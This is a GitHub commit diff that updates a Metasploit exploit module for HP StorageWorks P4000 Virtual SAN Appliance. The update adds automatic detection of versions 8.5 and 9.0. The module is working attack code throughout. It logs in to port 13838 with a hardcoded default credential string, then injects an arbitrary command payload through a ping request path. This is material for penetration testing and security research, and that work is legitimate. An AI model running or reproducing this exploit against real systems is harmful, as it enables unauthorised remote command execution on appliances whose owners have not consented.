Skip to content

Commit 37634a9

Browse files
committed
Merge branch 'hp_vsa_exec_9' of github.com:jvazquez-r7/metasploit-framework into jvazquez-r7-hp_vsa_exec_9
2 parents 189558b + 221ce22 commit 37634a9

File tree

1 file changed

+43
-8
lines changed

1 file changed

+43
-8
lines changed

modules/exploits/multi/misc/hp_vsa_exec.rb

Lines changed: 43 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@ def initialize(info={})
1717
'Name' => "HP StorageWorks P4000 Virtual SAN Appliance Command Execution",
1818
'Description' => %q{
1919
This module exploits a vulnerability found in HP's StorageWorks P4000 VSA on
20-
versions prior to 9.5. By using a default account credential, it is possible
20+
versions prior to 9.5. By using a default account credential, it is possible
2121
to inject arbitrary commands as part of a ping request via port 13838.
2222
},
2323
'License' => MSF_LICENSE,
@@ -50,9 +50,11 @@ def initialize(info={})
5050
'Arch' => ARCH_CMD,
5151
'Targets' =>
5252
[
53-
['HP VSA prior to 9.5', {}]
53+
[ 'Automatic', {} ],
54+
[ 'HP VSA up to 8.5', { 'Version' => '8.5.0' } ],
55+
[ 'HP VSA 9', { 'Version' => '9.0.0' } ]
5456
],
55-
'Privileged' => false,
57+
'Privileged' => true,
5658
'DisclosureDate' => "Nov 11 2011",
5759
'DefaultTarget' => 0))
5860

@@ -75,20 +77,53 @@ def generate_packet(data)
7577
pkt
7678
end
7779

80+
def get_target
81+
if target.name !~ /Automatic/
82+
return target
83+
end
7884

79-
def exploit
80-
connect
81-
82-
# Login packet
83-
print_status("#{rhost}:#{rport} Sending login packet")
85+
# Login at 8.5.0
8486
packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"8.5.0\"")
87+
print_status("#{rhost}:#{rport} Sending login packet for version 8.5.0")
88+
sock.put(packet)
89+
res = sock.get_once
90+
vprint_status(Rex::Text.to_hex_dump(res)) if res
91+
if res and res=~ /OK/ and res=~ /Login/
92+
return targets[1]
93+
end
94+
95+
# Login at 9.0.0
96+
packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"9.0.0\"")
97+
print_status("#{rhost}:#{rport} Sending login packet for version 9.0.0")
8598
sock.put(packet)
8699
res = sock.get_once
87100
vprint_status(Rex::Text.to_hex_dump(res)) if res
101+
if res and res=~ /OK/ and res =~ /Login/
102+
return targets[2]
103+
end
104+
105+
fail_with(Msf::Exploit::Failure::NoTarget, "#{rhost}:#{rport} - Target auto detection didn't work'")
106+
end
107+
108+
def exploit
109+
connect
110+
111+
if target.name =~ /Automatic/
112+
my_target = get_target
113+
print_good("#{rhost}:#{rport} - Target #{my_target.name} found")
114+
else
115+
my_target = target
116+
print_status("#{rhost}:#{rport} Sending login packet")
117+
packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"#{my_target['Version']}\"")
118+
sock.put(packet)
119+
res = sock.get_once
120+
vprint_status(Rex::Text.to_hex_dump(res)) if res
121+
end
88122

89123
# Command execution
90124
print_status("#{rhost}:#{rport} Sending injection")
91125
data = "get:/lhn/public/network/ping/127.0.0.1/foobar;#{payload.encoded}/"
126+
data << "64/5/" if my_target.name =~ /9/
92127
packet = generate_packet(data)
93128
sock.put(packet)
94129
res = sock.get_once

0 commit comments

Comments
 (0)